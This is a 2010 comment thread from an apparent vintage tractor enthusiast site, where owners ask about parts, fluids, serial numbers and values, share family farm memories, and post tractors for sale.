leonard wrote on Wednesday, April 21, 2010 (PDT):putting loader on 2010. where is best place to tie into hydraulics was told they are open center system.
Jack Burnham wrote on Wednesday, April 21, 2010 (PDT):Yes we have a Case CS s/n1708406SC we would like to find availability of parts. This Tractor is still running and in use today
Richard wrote on Wednesday, April 21, 2010 (PDT):I am trying to find out how much and what type of fluid for the rear end of a 1964 Ford 2000 Tractor, diesel. I appreciate any help I can get.
Steve Donithan wrote on Tuesday, April 20, 2010 (PDT):I have a 1971 160 Deluxe AC that I need a transmission complete for. I will consider buying the complete tractor to get this. Plese let me know if you ahve one for sell.
Elmo Hinkle wrote on Sunday, April 18, 2010 (PDT):My father pirchased a Farmall Super A used.it is a 1954 model.he used it on his small acerage plus doing custom mowing and garden tilling.it came with a two bottom plow and handled it very well.after he passed away it was used very little for several years.I had it put in good mechanical shape and painted with new decals.it is a very nice looking piece of equipment.I will pass it on to my son and grandson.
henry mashburn wrote on Sunday, April 18, 2010 (PDT):My father used the blue major tractor in lumber business in the 1960 s.
henry mashburn wrote on Sunday, April 18, 2010 (PDT):My father used the blue major tractor in lumber business in the 1960 s.
henry mashburn wrote on Sunday, April 18, 2010 (PDT):My father used the blue major tractor in lumber business in the 1960 s.
jerry wrote on Sunday, April 18, 2010 (PDT):i have a brand new set never been used cultivators for a g ac i will sell. 450.00 call me at 704-791-4669
Chuck Sittler wrote on Saturday, April 17, 2010 (PDT):You can see my my email that I like John Deeres and Harley s, however, today I bought a Oliver 70 that has been restored and am extremely proud of it.....first Oliver, not wanting to bore anyone, but sure looking forward to learning more about this tractor. I have heard that they have square gears in the tranny and are noisy Does anyone have any comments Thanks.
kenfoust wrote on Saturday, April 17, 2010 (PDT):I have a 1949 66 oliver that we use on a small 100 acre farm in cowansville pa still runs strong and has nice tin but I do need a set of rear rims would like to buy wheel and rims together please E Mail if you have any THANKS
kenfoust wrote on Saturday, April 17, 2010 (PDT):I have a 1949 66 oliver that we use on a small 100 acre farm in cowansville pa still runs strong and has nice tin but I do need a set of rear rims would like to buy wheel and rims together please E Mail if you have any THANKS
Norman MacCrimmon wrote on Saturday, April 17, 2010 (PDT):I have 4 twincity 17-28 tractors ,not seized,not running,. what are they worth
John Mollitor wrote on Thursday, April 15, 2010 (PDT):I have a JD 720 deisel with a pony motor. I loved the pulling power of the tractor. It s been setting for a couple of years now in need of tender loving care. I don t work on tractors, and it s expensive to restore. I can t get the switch to the pony motor to work.. or it would start. I think the clutch needs to be adjusted right too.
Russell Cmejla wrote on Tuesday, April 13, 2010 (PDT):I have a chance to get a 1958 AC D17 which spun the rear crankshaft bearing long ago. Does anyone in AC land think this can be repaired Any experience in this area Earlier comments say offer 500 tops in this condition. I remember how this D17 pulled a four bottom plow and would growl when the pull got tough. Please help me on this decision.
Eric Clark wrote on Tuesday, April 13, 2010 (PDT):I have a TD-6, we finally got it running but have now broke a right rear bullgear housing. If anyone knows where I can get one or even a reasonably priced parts machine with a good housing, please leave me know. If you cannot reach me at the e-mail, my phone # is 1-570-837-0275.
April Banton wrote on Monday, April 12, 2010 (PDT):My father in-law just purchased a miniature Ford 8N tractor not sure of year . I cannot find any information on it. Is there anywhere I can go to get info on it.
brannon cain wrote on Saturday, April 10, 2010 (PDT):this 15-30 that I have is in ned of a set of rod bearings but I dont know much about the tractor other than it was my granddads and I know that it was bored out to a 22-36 so Im wondering if that changes anything on the bearing sizes 406 326 2193
Jim Outlaw wrote on Saturday, April 10, 2010 (PDT):I have a 69 IH Cub 154 Lo-Boy for sale. Good tight 72 belly mower under it. You can see it in the classifieds. Runs great. Will have a new carb kit in it in a couple of days. I hate to sell it, but the wife says it s the tractor or her and the tractor can t cook. Thanks for looking. Jim 303-981-4631
Elroy Fisher wrote on Friday, April 09, 2010 (PDT):Can anyone tell me where to get rear tires for my 300 international tractor. They say 13.6-12x28 on them. I live in Manitoba, Canada.
Dave Quillen wrote on Friday, April 09, 2010 (PDT):The diesel 560 is a great tractor! I use this tractor daily for applying herbicide on various shrubs and flowern trees at Waynesboro Nurseries. Now in the proccess of overhauling.The dry cylinder liners are a challenge to get out.
Abe wrote on Thursday, April 08, 2010 (PDT):how much is that awesome looking and i m sure running tractor cost
Kenny Shipley wrote on Thursday, April 08, 2010 (PDT):We all know that ALLIS CHALMERS dont loose power just traction and we also know that john deeres loose power but have good traction so we need to find a way to get good traction in the smaller tractors for pullin and that would be somthing to see.
Kenny Shipley wrote on Thursday, April 08, 2010 (PDT):We all know that ALLIS CHALMERS dont loose power just traction and we also know that john deeres loose power but have good traction so we need to find a way to get good traction in the smaller tractors for pullin and that would be somthing to see.
chuck cowan wrote on Wednesday, April 07, 2010 (PDT):i am trying to find out what year and model dozer i have it is a international it has a 4cyclender diesel that starts on gas the tracks are 16inch with 2 rollers on top 5 rollers on bottom the rear sprakit is solid no holes in it. on the rear it has two rear cover plates one on left one on right thanks
Tom hardison wrote on Wednesday, April 07, 2010 (PDT):I have a 1968or 79,70 2000 ford having trouble with hydro. have a loader and a back blade. I can tell that the controls for the loader are added on after market. But all functions hesitate and are very slow. Also I cannot run 2 functions at one time . When I try all stops...Help..
Les Benner wrote on Monday, April 05, 2010 (PDT):I would like to find out if anyone knows more about other makes of these line driven tractors. I seen one on RFD tv and would like to find out more about them.
Scot wrote on Sunday, April 04, 2010 (PDT): Looking to buy a ford offset tractor. Will travel to pick up ,cash buyer. Call anytime 937-750-1737 Thanks Scot
Scot wrote on Sunday, April 04, 2010 (PDT):Looking to buy any model of ford offset tractor. Not afraid to travel to pick one up. Will do a cash buy. Phone 937-750-1737 anytime. Thanks, Scot
ronald haney wrote on Sunday, April 04, 2010 (PDT):is there anyone out there that can tell me the horse power of a 1948 ih farmall h tractor with tricycle front end also what is the horsepower of a 1958 ih utility 350 with t/amp,,, my brother in law has the h i own the 350 utility we both want to purchase pto driven tillers and no one seems to know which tiller our tractors will handle,,,,the tillers come in 4-5 and 6 foot versions 4 foot requires 20-35 hp,,,5 foot requires 25-40 hp and the 6 foot requires 35-50 horse i ve tried searching so many sights i am going cross eyed,,,it would sure help if some one could answer this and i sure would appreciate thanks RON
Ken Sloan wrote on Sunday, April 04, 2010 (PDT):I have an AC WF 1938. Good shape, been restored, runs great. I also have an AC B 1942. Runs great but needs TLC. My favorite tractor is my MD 10-20 1930 on steel. I bought it from my Dad who has now passed on. He restored and showed it at local shows.
jack boudreau wrote on Saturday, April 03, 2010 (PDT):jack. i have a 1954cockshutt 4o delux 6 cylinder model.i hade it a long time i rebuiled it in 1978.took desel engine out put a 250 chev engine well .I had a barn fire . not good .i could save is my cockskut .now iam restoring pltting a 292 engine sans blasting patnting restoring my tractor.looking for parts. seals for the brage drums right and left in the transmission.housing .better then that i would bye 1 for parts.40 delux model 1954.call if you can help me 902 761 2779 jack
Karen Lehmkuhl wrote on Saturday, April 03, 2010 (PDT):How do you remove the axle to replace the rear seal on a John Deere 2010 rear axle Coul you please answer me soon Thank you.
Gary Lentz wrote on Wednesday, March 31, 2010 (PDT):My grandfather, Athol Lentz,Sr owned a Farmall A in Grove,OK when we moved to the farm in 1950. I learned to cultivate with it when I was not 8 yrs old. My father, Gerster may have sold the tractor. Sure wish I knew where it went.
Larry Hainlen wrote on Wednesday, March 31, 2010 (PDT): Mr. Trosen I hav e allis WD45 with serial # 227508 And it is 1956 gas. I live in La Vergne Tn.and you are welcom to call me anytime at 615-476-6897 anytime. My name is Larry Hainlen.
Liz wrote on Wednesday, March 31, 2010 (PDT):A little info. on the LA Case tractor from the above entry; My dad passed away last June at the age of 76. He had a LA Case tractor that he was going to restore but never made it around to doing so. As far as we know it;s ; A tractor that pulled a grator, It granks on gas will run on fuel, It has a hand crank on the front, or electric start and a magnito in it. I just know that my dad would not have wanted to see this go to a junk yard. I can get pictures if needed. Thanks Liz
Liz wrote on Wednesday, March 31, 2010 (PDT):My mom has an old LA Case tractor that she was going to send to the junk yard, but I told her to wait because someone out there may like to get it for parts or to restore it If anyone is intrested email me....
david wrote on Tuesday, March 30, 2010 (PDT):I have a 1964 super dexta diesel tractor. i need to know where to put the hydraulic fluid in for the lift. where can i get a starter rebuilt.I live in the Raleigh-Durham NC area
Larry Trosen wrote on Tuesday, March 30, 2010 (PDT):i have an allis chalmers tractor, from the pictures i have looked at its looks to be a wd. the serial number on the left back side of the differential is D227808. I would like to know what year and model for sure to get info for repairs. thanks for your help
Richard Mixon wrote on Monday, March 29, 2010 (PDT):At his death my brother left me a super dexta diesel tractor. I have no information about it. How can i tell what year it is Where can i get an operator manuel for it. Thanks Richard
Boyd Anderson wrote on Sunday, March 28, 2010 (PDT):I need to know the advertised horsepower rating of my Oliver Super 55 manufactured in 1956. Also the PTO rating would be helpful
LARRY, wrote on Saturday, March 27, 2010 (PDT):I have a 9n ford tractor and would like to convert to 12volt. I need wiring diagram and how to mount the alternator.Can t aford to by a kit. THANKS FOR ANY HELP.
Garvin wrote on Saturday, March 27, 2010 (PDT):I am interested in finding an international TD-6 dozer in good condition. I have seen on in these add s but I dont know how to contact the seller. It was a restored dozer and the phone # was from Ohio. If that person still has the unit I would like to talk to him. My phone # 623.556.5517 Thanks
Garvin wrote on Saturday, March 27, 2010 (PDT):I am interested in finding an international TD-6 dozer in good condition. I have seen on in these add s but I dont know how to contact the seller. It was a restored dozer and the phone # was from Ohio. If that person still has the unit I would like to talk to him. My phone # 623.556.5517 Thanks
Richard Williamson wrote on Wednesday, March 24, 2010 (PDT):Looking for 1947 b in Nebr.or upper midwest area prefer swing drawbar and original grew up on this tractor in the hayfields and even drove it to grade school 1-402-893-3687
Jeremy wrote on Wednesday, March 24, 2010 (PDT):I have a 1957 MH 555 propane. Tractor was working perfect and now reverse gear won t engage and first gear doesn t work. Took the covers off and we can t find anything out of place in the transmission or rearend. Had a tractor mechanic look it over and he gave up. Any suggestions would be appreciated.
Kay wrote on Wednesday, March 24, 2010 (PDT):My Mom and Dad moved to Yuma county from Republic county Kansas in June of 1938. He bought a Farmall F-20 tractor that same year. Whether it was new or used I don t know. The banker allowed the loan to buy this tractor on Dad s ability to teach school and that last year of teaching was used as the collateral for the loan.
joel wrote on Sunday, March 21, 2010 (PDT):the 830 is a good tractor, my grandpa has one and it cost him 13,500 is was all finished and looking nice so yes they can go for that much i could believe it. a really good tractor i like to drive it alot
Larry Inman wrote on Saturday, March 20, 2010 (PDT):I need some help. I have an old wd 45 that has a need for parts but using the serial# off the rear it dosen t seem to exist. If you would please look at this # and tell me if you can find wd234365-----this is stamped on the left side...thanks so much for your help
william wadle wrote on Saturday, March 20, 2010 (PDT):HI i have a mh 81rc my grandpa bought new in 1941. i have the orig.cultivator that was on it. i want to restore it.but iam not sure where to start. i need the two tool bar braces that hook on the front of tractor and go to ends of tool bar. any help please. michigan
James Vaughn wrote on Friday, March 19, 2010 (PDT):I bought what I think is a Dexta about 3 weeks ago. Have only used it for bushogging so far. Runs good and the lift works great. I have to give it a shot of either to crank it though. A mechanic told me that the 3 cly. Perkins should have a button near or on the injector pump. Before cranking, this should be activated, and it allows more fuel for starting. I can t find the button . Also, I need to know where to find the ser. number. That may help me find out the year, etc. Any help or advice is appericiated.
malcolm gibson wrote on Thursday, March 18, 2010 (PDT):1967 ford 2000 diesel tractor. when its cool the hydraulics dont work i cant find a filter if it has one and what type of hydraulic fluid do i need
Cindy Geisinger wrote on Tuesday, March 16, 2010 (PDT):I have a 1932 AC model K crawler, with hydraulic Baker Blade attached. It did run before but has been sitting for 20 years inside my barn. I used it to level the spot where my trailer sits now and then parked it in barn. I need to sell it because I am moving all equipment out of barn to put in a concrete floor. It has gear controls and no steering wheel. I loved it and Im a girl. Offer me a price... Hate to part with it cause dad gave it to me. Call me at 816-258-2452
Liiam Hoof wrote on Tuesday, March 16, 2010 (PDT):Hello, me and my father are restoring a 1929 international 22-36 but we are having to use a 1931 engine which is ever so slightly modified, which is that there is an extra lubricating oil pipe on the side where the oil filter and magneto are. At the moment we are in need of either a metal plating bowl to hold oil and brackets for our air cleaner or a complete air cleaner altogether and also a rocker cover.
Joey A. wrote on Sunday, March 14, 2010 (PDT):I recently bought a Farmall A tractor. It is not a high rise just regular. I am working on restoring it. I was wondering if anyone could tell me where I can find detailed pictures or photographs of the A model so I can see what my tractor orginally looked like. I can tell some parts are missing and others have been modified. If someone could help me with this it would be greatly appraciated. Thanks
Michael Buffaloe wrote on Saturday, March 13, 2010 (PST):I am located in Wake County, NC near Raleigh. My daddy used to have a 53 or so Super MD that I d love to locate. It was used when he bought it. We used to refer to her as The Big Tractor ! She was strong!! We would pull 4 - 14 plows with it. I have broke many of an acre with it. After I bought an IH 674 in 80, my mother sold it in the early - mid 80 s. Several years later, the fellow that bought it traded it for a John Deere at Revels Tractor Co. in Fuquay-Varina, NC. I know this is a real long-shot, but would anyone out there maybe have bought a Super MD from Revels in the later 80 s or around 90 Contact me and give a description. I would love to see it! This may be in Wake, Johnston, Harnett Co s. or somewhere close by.
Scott Wiens wrote on Saturday, March 13, 2010 (PST): I am getting into vintage tractors and my dad had a 44. Was wondering as I was told he ha a 44 with 6 cylinders When I search for one I have never found one. Please let me know if there ever was such a size. It had a narror front as he used it to have a mounted corn picker. Thanks Scott
Harold Beyer wrote on Thursday, March 11, 2010 (PST):have a 300 IH looking for used Hydraulic pump tractor runs great had it for years--May sell if decent offer.Located in WI
Donavon wrote on Wednesday, March 10, 2010 (PST):I used a Case 600 when I was on the farm as a kid. I wanted something like it so I bought an LA Case. Not a bad old tractor. I do however need an exhaust elbow for it. If I can t find one I will have to make one. Let me know if there is one out there.
johntontz wrote on Wednesday, March 10, 2010 (PST):I need a ford dexta reditor cowling please e.mail
johntontz wrote on Wednesday, March 10, 2010 (PST):I need a ford dexta reditor cowling please e.mail
Dee Yokiel wrote on Wednesday, March 10, 2010 (PST):My dad bought a 1957 cockshutt deluxe new and now I have inherited it, needs restoring but runs. I was wonder if anyone could tell me what the value of it would be as is. My dad really loved this tractor and was the only new tractor he bought in his lifetime. Thanks for any info on the price.
Bob Abbott Wis. wrote on Wednesday, March 10, 2010 (PST):We have a VAC Case that was purchased new back in the 40 s. Still runs, wanting to get it restored and painted. Has a loadrer attached to it.
Broderick Murray wrote on Wednesday, March 10, 2010 (PST):It is useful to try everything in practice anyway and I like that here it s always possible to find something new. ;
Dale Degner wrote on Monday, March 08, 2010 (PST):I have a 1939 Hart-Parr my grandad bought new. still runs but needs painted and tires. I do need a few parts to finish it and have some extra parts. I have no idea what color scheme the tractors had back then as I have not found any pictures of any reastored. I know there is an Oliver club somewhere in Canada but I live in Iowa. Any info I can get will be helpfull. Thanks!
John Little Axe wrote on Sunday, March 07, 2010 (PST):I have a massey harris 44 lp special, it runs fine but has started to have a lowerend knock when pulling a heavy load what can cause this it also needs a paint job, and gas tank. The tractor was gas, but somewhere in time was converted to propane, it runs fine has lots of power but is getting worn. What are these worth
John Little Axe wrote on Sunday, March 07, 2010 (PST):I have a IH TD-35 runs okay everything works so far, I just bought the machine, when running on gas it seems to run fine, but when it switches to diesel it starts to miss, and smoke. The guy I bought it from says that the injector pump was leaking and he took it apart and replaced gaskets and two gears fell out, he just put them back in, but when he started the crawler back up it started smoking and missing. He advised that an fuel injector shop says the pump is out of time, is this possible How much are these crawlers worth. This particular crawler is in good shape, fair paint job, great undercarriage, the engine is clean on the gas side, a little diesel leaks on from a return line on the injector pump, the crawler seems to lack power. Any suggestions
Brad Womack wrote on Saturday, March 06, 2010 (PST):I have an inoperable Oliver OC 15 crawler that I would like to sell, trade or scrap. The 6 cyl hercules diesel engine is frozen due to rain water entering cylinders. Heads are off and in good shape. Dozer was running strong prior to water damage. I hate to scrap this machine. It has many good parts and good undercarriage and probably could be brought back to life. If interested, call me at 985-290-7404
gary wrote on Saturday, March 06, 2010 (PST):i have come across some old cast iron miniature oliver tractors and accessories made buy the oliver tractor company. looking for collectors and or buyers to sell to.
Grahame Munro wrote on Saturday, March 06, 2010 (PST):Beautiful condition, however. PLEASE those wheel rims should be ORANGE not silver. As far as i know the Fordsons all had Orange wheels. at least this is true for the ones in South Africa
Duane Olson wrote on Friday, March 05, 2010 (PST):I have a Case tractor and believe it s a Model D. I looks nearly identical to the one pictured above. I cant find a model number or serial number and do not know what year it is. I need a magneto and also a carburetor rebuild kit. Where can I get info on my tractor Any and all help is appreciated!
Duane Olson wrote on Friday, March 05, 2010 (PST):I have a Case tractor and believe it s a Model D. I looks nearly identical to the one pictured above. I cant find a model number or serial number and do not know what year it is. I need a magneto and also a carburetor rebuild kit. Where can I get info on my tractor Any and all help is appreciated!
Tim Schwing wrote on Friday, March 05, 2010 (PST):Thinking of buying an oliver 70 industrial. Need to learn as much as possible about this tractor. Retired and need a project with history to work on. Thank you. Tim
Patricia Candrian wrote on Tuesday, March 02, 2010 (PST):We have an unrestored 1946 Case VAI tractor that someone is interested in buying, but we don t know it s value. Can someone help us Thank you.
MemalealtyRot wrote on Monday, March 01, 2010 (PST):Hello Guys And Gals! i ve just joined here and wanted to say hi to all of you!I really hope to give something back to this board... Cheers
tom griffie wrote on Saturday, February 27, 2010 (PST):I have an AC160. Need a steering wheel for it plus the AC insert. Thanks
Abnotokenemok wrote on Friday, February 26, 2010 (PST): Hes no danger to anyone. He was looking at Francisco. He answered, I dont know. It cost eight million dollars. There are other issues involved, besides questions of fact. They wont tell me, but I know. The public has been demanding economy. It has ceased to disturb me, long ago.
mike watson wrote on Friday, February 26, 2010 (PST):My daddy bought one of these about 1962. It was a diesel. Dont know the horsepower. We were tobacco farmers. but it replaced our mule cultivated after a fashion pulled the irrigation system and payed off the morgage.
Terry Stefancik wrote on Thursday, February 25, 2010 (PST):To Red Power; are you the same one with the picture of the 4010 gas in the vintage pictures.
Larry Roberts wrote on Thursday, February 25, 2010 (PST):I have 1 1950 B.F. Avery Model A and I am also interested in the correct paint scheme for this tractor. Mine currently is painted red and white. White is used on all the cowls and radiator cover.
Brian van der Mark wrote on Wednesday, February 24, 2010 (PST):I have found one forsale a 1968 model gas nofenders but otherwise in tact.Runs.and I understand they can fetch quit a bit restored.A labour of love no dought.How many fenders are there out there to be had
Shelby Grimes wrote on Monday, February 22, 2010 (PST):What is correct Paint color for the MH Pony Tractor and Wheels
Ken, Wallace wrote on Sunday, February 21, 2010 (PST):I have a 1952 Massey Harris colt with a loader which has a snowblade dirt bucket manurefork and two bottom three pt.plows.This outfit is original. Dad bought it new in 1952 to plow snow and gardens.
Denny Beard wrote on Sunday, February 21, 2010 (PST):I grew up on a B Farmall farming with my Day and Grandpa. We used that little Tractor for everything from pulling a corn binder to Breaking Show Calves to lead. I would very much like to purchase one but don t know were to look. Thanks for any Help..
Vincent W. Paul wrote on Sunday, February 21, 2010 (PST):I ve got a 1947 Massey Harris #20 I m looking to sell. New rubber, points, plugs, coil and wires. Needs paint and seat tightened. Great running tractor! Also have aftermarket service and repair manual for it. I now need something with a 3-point, so I m selling this one...macgyver at centurytel.net
Terry Stefancik wrote on Friday, February 19, 2010 (PST):My dad has 3 D17 s all propane, one of which is a highboy. The highboy gets used all the time for spraying. The highboy is a 6 cylinder and the others are 4. Dad also has a D19 propane that he has had for a very long time and he pulls a Vermeer 605J with it.
Mark Pederson wrote on Friday, February 19, 2010 (PST):Looking for a d-17 gas complete tractor for parts or just a rebuildable engine block and crankshaft.
Bill wrote on Wednesday, February 17, 2010 (PST):I recently discovered an original Instruction Book for a MCCormick-Deering Farmall Tractor Model F-20 Bottom of the book I believe is the published date of 25M- 6-19-37 The book is in relatively good shape for the yeard. 87 pages. What would something like that be worth I wonder
L. D. Bud Milliorn wrote on Tuesday, February 16, 2010 (PST):llis Chalmers tricycle type tractor with Tractor Number 01077 near the gear shift lever, this is a 4 cylinder engine, rear tires are 10;00 x 24, the front looks like maby a 16 inch rim, the dual PTO is behind the transmission. It does have a electric starter. I need a MODEL for this tractor, I have seen a picture of a WC and a WD. THANKS for your help.
Jean-Marie Bourque wrote on Sunday, February 14, 2010 (PST):I have a 1950 Massey Harris 22 tractor for salle 1000
ED .R. wrote on Saturday, February 13, 2010 (PST):ANYONE OUT THER KNOW ANYTHING ABOUT AN RC CHALMERS I THINK IT WAS IDENTICAL TO THE WC BUT WITH A SMALLER ENGINE. POSSIBLY ATE SAME ENGINE AS THE MODEL C TRACTOR.
Jaco Combrink wrote on Thursday, February 11, 2010 (PST):I am from South Africa and looking at buying a Leader Tractor in a very bad condition not sure of the moddel and munufacturing date . Yes I m also restoring old tractors and found this one under a tree on a farm in the South African Bushveld. What would be a reasonable purchase price for this old lady and are there other owners/clubs in South Africa What s the availability of spares - if and when required Please contact me on my cellular if you are able to assist. Cell +27 836572339 or E-mail jacocombrink1 at telkomsa.net Regards - Jaco
Brandon Thomas wrote on Tuesday, February 09, 2010 (PST):I ve been looking for a d-17 series IV for 2-3 years and finally found one thats in exelent condition other than paint. Going to get it this weekend if i can. Didn t get to get last weekend cause of snow but it s putting it down now. Also dan i m glad your found your dad s tractor
allen harrison wrote on Sunday, February 07, 2010 (PST):I own a 420W, has no yellow paint on hood or radiator panels. It has john deere,written in chrome letters on the front of radiator. I read in a book that 420 was built in the last three months of 1955. How can I find out when it was in fact built Thanks for your help.
victor torino wrote on Friday, February 05, 2010 (PST):i have a low boy tractor for sale ,but i dont know any thing about the year ,it runs like a clock perfect. it has a side mount mower deck .and a blow,
Howard Cameron wrote on Thursday, February 04, 2010 (PST):Ernest the problem with the 3point hitch, is either low HYD oil or the pump or control valve is getting weak. Or a combination of all 3 A good Mechanic should be able to determine what is wrong. My father has a 1963 Fordson super Dexta aka Ford Diesel 2000 North American name . I am also looking for copies of the shop repair manuals for Super Dexta and MF 165. If some one can scan them and send them to me would be great. I am trying to decide to restore it or not. He just purchased a MF 165 to replace it. Does anyone have any information on Roadless 4X4 mods for a Super Dexta
Stephen Atkins wrote on Wednesday, February 03, 2010 (PST):We had a 1948 Cockshutt 30 with the 153 Buda engine It set under an Ften Farmhand and we used it to put up hay Sold it to a friend who restored it and it was in the antique tractor parade at Stuhr Museum
Brent Thurman wrote on Tuesday, February 02, 2010 (PST):INTERNATIONAL 300 FOR SALE. I have an International 300 tractor in good working order for sale. Located in Whitewood SD. #605-376-1765
Brian Hurst wrote on Friday, January 29, 2010 (PST):What shade of green should my Oliver Super 55 be painted The serial number is 19933-518. I was told some had green wheels and some had red wheels. Do you know which was the original colors for this tractor
LEE MARION wrote on Wednesday, January 27, 2010 (PST):My Uncle John had a Port Huron Traction Engine and Thresher, I have a picture of it and the thresher when it fell though the Cass River bridge east of Marlette, Mi. I also have a technical manual for the Port Huron Machine that I could make copies of if anyone is interested. 18 plus shipping, lee
Mason Wolfe wrote on Wednesday, January 27, 2010 (PST):My question is, I have a 1946 Farmall M and I was wondering what if when I redo the tractor is there anyway that I can change it to a Super M and add a TA to it What kind of problems will I run into And will it cost me a lot of money I was told just to redo it just the way it is now, it would cost me around 6,000.00 . Please let me know as the winter is getting shorter and I want to know what it will take to finish it off. I used this tractor to mow grass with in the summer. Thank You.
Ricky Moffett wrote on Tuesday, January 26, 2010 (PST):I need a hydraulic pump for a AC 160. Can anybody tell me where I might find a good used one or an aftermarket new
Bill Heather wrote on Sunday, January 24, 2010 (PST):I recently purchased a 22-36 McCormick Deering and would like to know where I can find a list of serial #s so that I can tell which year mine is. The regular McCormick Deering sites that I have been to do not carry the serial #s for these models
Barry Card wrote on Sunday, January 24, 2010 (PST): It s me again. Some of you s have wrote and said you were having starting problems and loss of power on grades. My father had this problem and it wasn t the gas lines or sediment bowel deal. Check your distibutor cap and points. They crack and leak. Especially if thy aren t kept in a garage or barn. His ran perfect after this little deal was taken care of.
Barry Card wrote on Sunday, January 24, 2010 (PST): After reading all of these comments. I ve called my mother in NY and asked if she wanted to sell her 2 Cubs she has with the belly mowers and so on. She has given me the go ahead. I do not know the years for them, but they ve both gone through over hauls years back and as of just a couple years ago were mowing lots of grass. She s looking for 1500 for the red one and 1000 for the white and yellow one. She has xtra blades and I believe belts for them. And the one red one has the Woods mower deck everybody seems to b looking for. If interested give her a buzz at 845-986-4205. Maybe some of you s will luck out and find what you ve been looking for at a decent price and in working order.
Tracey Stumbo wrote on Saturday, January 23, 2010 (PST):I have a 1938 f20 and serial# I think is FA112445 if this is even the # I am wondering if anyone wiil please please help me determine what I have so I can begin the process of trying to restore, I have no idea what size or make of the engine so I can buy overhauling kit, please please help me and maybe some #s and companies so I can contact for help please please someone find the time in your heart to help me get in touch with my late grandfather so I can make him proud when he looks down from above and see his tractor working the land he and my great grandfather worked so many years ago, once again please help!!!!! I thank you so very much Tracey
Keith Edens wrote on Friday, January 22, 2010 (PST):I just bought a cockshutt 40 . Where is the serial plate located. It has one on the engine and the place where it says tractor ser.# is blank. It is decaled as a deluxe, how do you tell if it is really a deluxe. thanks, Keith
Jim wrote on Friday, January 22, 2010 (PST):I am looking for the drawbar with a pintle hitch for a i-12. Also interested in talking with any one who know about the governor for a i-12 that sets bellow the carb.
Jim wrote on Friday, January 22, 2010 (PST):I have brand new castings of the manifold on the 1921 model. Made new patterns and had a few extra cast. I can sell as raw castings or machined.
Dave McLandress wrote on Thursday, January 21, 2010 (PST):I have a f-20 and am in the middle of buying some parts to restore it . I was told it was a 1935 when I bought it but I am wondering if in fact it is a 1938. It is red and the serial number on the frame is FA121056N. It has one round spoke and one flat bar rear steel rim. Anyone with some guidance would be most appreciated. 313-702-1041.
William Keyser wrote on Thursday, January 21, 2010 (PST):Would a 1947 Oliver 60 Row Crop be safe to use for pulling a hay ride trailer, or would it be too tippy Thanks, Wm
John Knepper wrote on Thursday, January 21, 2010 (PST):Wanted-small IH doser gas or diesel good runner near Dubuque Iowa 563-590-3964
lucia hili wrote on Thursday, January 21, 2010 (PST):my father has a very old case tractor here in gozo ,malta,and he would like to put the pics on this site can any one help me please,thanks
Dick Patrick wrote on Wednesday, January 20, 2010 (PST):I have a 1956 420 crawler for sale. It has a 5 spd. trans. 5 roller snow track everything works and it runs good. Asking 5900 or best offer. Located in So. East Wis.Phone 920 285 2420
Jim Paxton wrote on Tuesday, January 19, 2010 (PST):Istarted farming in Missouri in 1970 with a 720 it was a outstanding tractor we farmed 200 acere with this tractor with very little problems. The 720 diesel still holds the Neberaska fuel useage study pulling a 4 bottom 16 plow it would only use about 3 gal a hour.
ERNEST FILLEY wrote on Saturday, January 16, 2010 (PST): I have a SUPER DEXTA 2000 good tactor for mowing grading. The problem I have is 3pt will lift ok , at idle with lift up up it will Bump - jump. With motor off lift will settle to ground in very short time. Also what kind of fluids quanties are used in any or all resivors. Any help is greatly apperaciaed.
Will wrote on Saturday, January 16, 2010 (PST):Hi Gordon, The steering wheel was just another means of attachment on the flywheel to hand start the tractor. I have one and it is an UNSTYLED B tractor and by the way, I am in North Louisiana too. There was a good many of these made. Thanks, Will
gary collins wrote on Thursday, January 14, 2010 (PST):I can t find a place to buy parts Distributor, points, cap ect for my 81. Also, the carb only has one adjustment, but my manual says it should have two. Any help is appreciated. Thanks Gary
archie mays wrote on Thursday, January 14, 2010 (PST):i have a 320 case tractor i need a power steering cylinder and pump there were only 899 of these made where can i get parts or after market parts ph 618-319-1244
John Radewald wrote on Wednesday, January 13, 2010 (PST):Good for you Donald - would like to know more about you meeting- how many showed up etc. I find few AC people here in calif - I have finished one G restoration an have three more to go if I last that long ! - I also finished one B with a couple more of those to go - hang in there -John Radewald in Moreno Valley california 951 242 0899
dan clark wrote on Wednesday, January 13, 2010 (PST):would like to buy D12 D10 or D15 SERIES 2 or 3 ingood condition or could be easily made into useable tractor
dan clark wrote on Wednesday, January 13, 2010 (PST):i just bought a d17 ac been outside for 8 years looks bad but this is not any old d17 my dad bought it new in 1960 or 61 from his son in laws dad a ac dealer don morr in central ill. dad sold it in 1996 i tracked down paid 500 got it home 1 09 2010 back where it belongs planing complete reworking on it so glad to get back the last new tractor my dad bought he past away 3 of 01 he would be glad its back home to thought i would share my story was wanting to tell some body who would like to here it thanks for listing dan
Jamie Thresher wrote on Monday, January 11, 2010 (PST):I am in the process of helping two friends restore a IH 8-16. I know we atleast need the magneto, not sure what else yet. If anyone knows of any sites that offer replacement parts that are original to design, that would be awesome. We are restoring the tractor for an old farm museum.
Madison Orange wrote on Sunday, January 10, 2010 (PST):Do anyone have the wiring diagram for a D17 starter solenoid Specifically need to know if the solenoid is ground or 12v activated.
rick rogers wrote on Saturday, January 09, 2010 (PST):have complete M. H. Pony for sale... unsure of year tractor has belly mount blade...do know that it runs but needs carb rebuilt
Jordan Loeb wrote on Friday, January 08, 2010 (PST):I have an AC 160 for sale. My father purchased it new in the early 70 s. We farmed with it for a few years and it has been used very lightly for the past 20 years. Engine rebuilt 2 years ago. Good rubber, runs great. Needs some TLC. Jefferson County, WI
phil wireman wrote on Thursday, January 07, 2010 (PST):i am looking for a 501 or a 2000 offset to buy 419 3021749
dave morrison wrote on Thursday, January 07, 2010 (PST):i learned to drive a tractor on a gas super 55 my granddad had when he passed away granny sold it .i would love to find it and buy it back
Marvin Rogers wrote on Wednesday, January 06, 2010 (PST):I just bought a 160 and I know nothing about it.I think its from a 1969 to a 1973.I need to know what type transmission/hydraulic oil to use.MY hydraulics stopped working and I Found out that there s water in the transmission oil.
Dave S wrote on Wednesday, January 06, 2010 (PST):I built a york rake and I need a pattern for the Part or point that enters the fast hitch..Or an inexpensive attachment with said item need not work for an Int l Cub Lo-Boy...Can t seem to locate anything in my area. any help greatly appreciated...Thanks Dave
claude leveille wrote on Tuesday, January 05, 2010 (PST):j ai un 55o oliver 1961;ou puis je me procurer les decals neuf pour remplacer ceux existant apres l avoir repain
